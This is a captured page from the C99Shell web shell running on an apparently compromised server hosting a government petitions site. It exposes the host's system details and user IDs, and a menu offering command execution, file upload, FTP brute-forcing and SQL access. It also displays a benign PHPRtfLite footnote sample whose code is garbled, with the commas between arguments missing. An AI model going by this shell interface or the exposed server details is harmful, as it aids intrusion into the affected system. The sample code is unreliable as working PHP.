!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/petitions.zt-rada.gov.ua/alien/phprtflite/samples/   drwxr-xr-x
Free 106.97 GB of 200.55 GB (53.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     footnotes.php (2.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

require '../lib/PHPRtfLite.php';

// register PHPRtfLite class loader
PHPRtfLite::registerAutoloader();

//rtf document
$rtf = new PHPRtfLite();
// restart footnote numbering on each page
$rtf->setRestartFootnoteNumberEachPage();

$font = new PHPRtfLite_Font(14'Arial''#000066');
$defaultFontForNotes = new PHPRtfLite_Font(10);
$rtf->setDefaultFontForNotes($defaultFontForNotes);

// section with footnotes
$sect $rtf->addSection();

$sectionText 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi eget arcu in nisi porttitor dapibus. Vivamus sit amet dolor id justo dignissim porttitor. Nullam a fermentum massa.';
$sect->writeText($sectionText$font);
$sect->addFootnote('This is a footnote');

$sectionText 'Fusce pharetra ante felis, nec pharetra massa. Etiam vitae scelerisque tortor. Nunc varius, ante at dignissim imperdiet, enim neque porta augue, vitae euismod purus tellus non nunc. Pellentesque euismod venenatis ligula, eget scelerisque ipsum sagittis a. Morbi vitae nunc nec nisi congue luctus. Proin dictum sagittis nisi, feugiat pharetra est aliquet nec.
Ut ultrices eleifend tellus, vitae vehicula leo ultrices a. Sed et mi a lorem condimentum hendrerit. Cras imperdiet nisi ac odio scelerisque convallis.'
;
$sect->writeText($sectionText$font);
$sect->addFootnote('This is a another footnote');

// section with endnotes
$sect $rtf->addSection();

$sectionText 'Nulla a ante nec diam egestas tempus. Nullam odio mauris, mattis vitae gravida a, semper a elit.';
$sect->writeText($sectionText$font);
$sect->addEndnote('This is a endnote');

$sectionText 'Nulla a ante nec diam egestas tempus. Nullam odio mauris, mattis vitae gravida a, semper a elit.';
$sect->writeText($sectionText$font);
$sect->addEndnote('This is a another endnote');

// font for footnote and endnote
$fontNotes = new PHPRtfLite_Font(24'Arial''#333333');

// section with table
$sect $rtf->addSection();
$table $sect->addTable();
$table->addRows(20.75);
$table->addColumnsList(array(77));
$table->writeToCell(11'Nulla a ante nec diam egestas tempus.');
$table->writeToCell(12'Nulla a ante nec diam egestas tempus.');
$table->getCell(12)->addFootnote('This is a footnote in a table'$fontNotes);
$table->writeToCell(21'Nulla a ante nec diam egestas tempus.');
$table->getCell(21)->addEndnote('This is a endnote in a table'$fontNotes);
$table->writeToCell(22'Nulla a ante nec diam egestas tempus.');

// section with footnote again
$sect $rtf->addSection();
$sectionText 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi eget arcu in nisi porttitor dapibus. Vivamus sit amet dolor id justo dignissim porttitor. Nullam a fermentum massa.';
$sect->writeText($sectionText$font);
$sect->addFootnote('This is a footnote');

// send to browser
$rtf->sendRtf('footnotes.rtf');

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0109 ]--